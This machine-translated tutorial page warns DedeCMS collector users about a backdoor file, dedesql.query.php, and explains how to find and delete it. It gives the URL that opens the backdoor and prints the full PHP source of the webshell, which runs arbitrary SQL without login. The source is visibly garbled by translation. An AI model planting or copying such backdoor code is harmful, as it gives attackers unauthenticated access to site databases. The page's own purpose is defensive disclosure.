How to delete an official webshell of the DEDE collector-PHP Tutorial

Source: Internet
Author: User
The method for deleting the official webshell of the DEDE collector. Remove the official webshell: After the collection master is installed, immediately delete dedesql under the include directory. query. php file. if it has been installed, it may have been renamed to arc. sqlquery. cl: After the collection master is installed, immediately delete dedesql under the include directory. query. php file. if it has been installed, it may have been renamed to arc. sqlquery. class. php, find and delete it. This file can be used to query the website database without logon verification, and perform operations such as updating, deleting, and querying data. You can also test whether the method is as follows:
Http: // your domain name. com/include/dedesql. query. php. php? Dopost = viewinfo
Enter the URL above to open the webshell interface.
To be honest, the best way is to leave a backdoor program intentionally. This backdoor has been discovered. God knows whether more backdoors will emerge in the next so-called new version. The code for the subsequent file is as follows:

The code is as follows:


Require_once (dirname (_ FILE _). "/../include/common. inc. php ");
If (emptyempty ($ dopost ))
{
$ Dopost = "";
}
If ($ dopost = "rename ")
{
If (rename ('dedesql. query. php', 'Arc. sqlquery. class. php ')){
Echo "successful! ";
} Else {
Echo "failed! ";
}
Exit ();
}
If ($ dopost = "viewinfo ")
{
If (emptyempty ($ tablename ))
{
Echo "no table name specified! ";
}
Else
{
$ Dsql-> SetQuery ("show create table". $ dsql-> dbName. ".". $ tablename );
$ Dsql-> Execute ('me ');
$ Row2 = $ dsql-> GetArray ('me', MYSQL_BOTH );
$ Ctinfo = $ row2 [1];
Echo"

". Trim ($ ctinfo )." ";
}
Exit ();
}
If ($ dopost = "index ")
{
Require_once (DEDEINC. '/arc. partview. class. php ');
$ Envs = $ _ sys_globals = array ();
$ Envs ['aid '] = 0;
$ Pv = new PartView ();
$ Row = $ pv-> dsql-> GetOne ('select * From 'dede _ homepageset '');
$ Templet = str_replace ("{style}", $ pai_df_style, $ row ['templet']);
$ HomeFile = dirname (_ FILE _). '/'. $ row ['position'];
$ HomeFile = str_replace ("//", "/", str_replace ("\", "/", $ homeFile ));
$ Fp = fopen ($ homeFile, 'w') or die ("unable to update website homepage to: $ homeFile location ");
Fclose ($ fp );
$ Tpl = $ pai_basedir. $ pai_templets_dir. '/'. $ templet;
$ Pv-> SetTemplet ($ tpl );
$ Pv-> SaveToHtml ($ homeFile );
$ Pv-> Close ();
Echo "homepage updated successfully! ";
Exit ();
}
Else if ($ dopost = "query ")
{
$ Sqlquery = trim (stripslashes ($ sqlquery ));
If (eregi ("drop (. *) table", $ sqlquery) | eregi ("drop (. *) database", $ sqlquery ))
{
Echo "statements for deleting 'data' or 'database' cannot be executed here. ";
Exit ();
}
If (eregi ("^ select", $ sqlquery ))
{
$ Dsql-> SetQuery ($ sqlquery );
$ Dsql-> Execute ();
If ($ dsql-> GetTotalRow () <= 0)
{
Echo "run SQL: {$ sqlquery}, No returned Records! ";
}
Else
{
Echo "run SQL: {$ sqlquery}, total". $ dsql-> GetTotalRow (). "records, up to 100 records are returned! ";
}
$ J = 0;
While ($ row = $ dsql-> GetArray ())
{
$ J ++;
If ($ j> 100)
{
Break;
}
Echo" ";
Echo "record: $ j ";
Echo" ";
Foreach ($ row as $ k => $ v)
{
Echo "{$ k }:{$ v}
\ R \ n ";
}
}
Exit ();
}
If ($ querytype = 2)
{
$ Sqlquery = str_replace ("\ r", "", $ sqlquery );
$ Sqls = split ("; [\ t] {0 ,}\ n", $ sqlquery );
$ NerrCode = ""; $ I = 0;
Foreach ($ sqls as $ q)
{
$ Q = trim ($ q );
If ($ q = "")
{
Continue;
}
$ Dsql-> ExecuteNoneQuery ($ q );
$ ErrCode = trim ($ dsql-> GetError ());
If ($ errCode = "")
{
$ I ++;
}
Else
{
$ NerrCode. = "execution: $ q error. error prompt:". $ errCode ."
";
}
}
Echo "{$ I} SQL statements are successfully executed!

";
Echo $ nerrCode;
}
Else
{
$ Dsql-> ExecuteNoneQuery ($ sqlquery );
$ NerrCode = trim ($ dsql-> GetError ());
Echo "one SQL statement is successfully executed!

";
Echo $ nerrCode;
}
Exit ();
}
If ($ dopost = "view ")
{
; Echo'


SQL command line tool
















SQL command runner: Data Backup
|Data Restoration









';}
?>

Dedesql. query. php file under the incluinclude Directory. if it has been installed, it may have been renamed to arc. sqlquery. cl...

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.